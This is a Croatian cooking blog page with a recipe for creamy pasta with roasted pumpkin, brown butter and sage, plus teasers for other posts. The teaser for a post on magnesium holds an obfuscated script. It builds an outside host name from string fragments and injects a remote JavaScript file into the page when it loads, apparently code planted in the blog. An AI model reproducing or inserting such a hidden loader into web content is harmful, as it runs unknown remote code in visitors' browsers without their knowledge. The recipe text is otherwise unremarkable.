KREMASTA TJESTENINA OD PEČENE BUNDEVE, SMEĐEG MASLACA i KADULJE




Kremasta tjestenina od pečene bundeve, smeđeg maslaca i kadulje 



Jesen je idealno vrijeme za tanjure koji traže malo više topline, a bundeva je pritom jedna od onih namirnica od koje lako možemo stvoriti bezbroj verzija, no upravo joj pečenje daje ono nešto posebno - prirodnu slatkoću i lagano karamelizirane rubove koji se savršeno slažu s orašastim okusom smeđeg maslaca.





Kremasta tjestenina od pečene bundeve, smeđeg maslaca i kadulje 


Sastojci:

400 g tjestenine 
500 g očišćene bundeve 
70 g maslaca 
10 listova svježe kadulje 
50 g svježe naribanog parmezana 
1 češanj češnjaka 
100 - 150 ml vode u kojoj se kuhala tjestenina 
1 žlica maslinova ulja 
Sol i papar 
Malo muškatnog oraščića 
Naribana korica 1/2 limuna 




Priprema:

Pećnicu zagrijte 200 stupnjeva.

Bundevu narežite na manje komade, pomiješajte s maslinovim uljem, posolite i popaprite pa rasporedite na lim za pečenje.

Pecite oko 25 do 30 minuta odnosno dok ne omekša i na rubovima lagano ne potamni.

U međuvremenu skuhajte tjesteninu prema uputama na pakiranju, ali sačuvajte barem jednu šalicu vode od kuhanja.

Pečenu bundevu prebacite u blender ili posudu za štapni mikser.

Dodajte češnjak, polovicu parmezana, malo muškatnog oraščića i 100 ml vode od tjestenine pa izmiksajte u glatki umak.

Ako je potrebno dodajte još malo vode kako biste dobili svilenkastu, kremastu teksturu.

Za to vrijeme pripremite smeđi maslac.

Maslac stavite u tavu na srednje jaku vatru i pustite da se otopi.

Dodajte listove kadulje i pržite ih kratko dok ne postanu hrskavi.

Kada maslac poprimi zlatnosmeđu boju i zamiriše orašasto maknite tavu s vatre.

Nekoliko listova kadulje ostavite sa strane za posluživanje.

U istoj tavi pomiješajte kremu od bundeve sa skuhanom tjesteninom.

Dodajte preostali parmezan i po potrebi još malo vode od kuhanja.

Sve dobro promiješajte dok se umak ne obavije oko tjestenine.

Na kraju dodajte malo naribane limunove korice tek toliko da podigne slatkoću bundeve i bogatstvo maslaca.

Tjesteninu poslužite odmah s hrskavim listovima kadulje, dodatkom parmezana i nekoliko kapi smeđeg maslaca iz tave.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više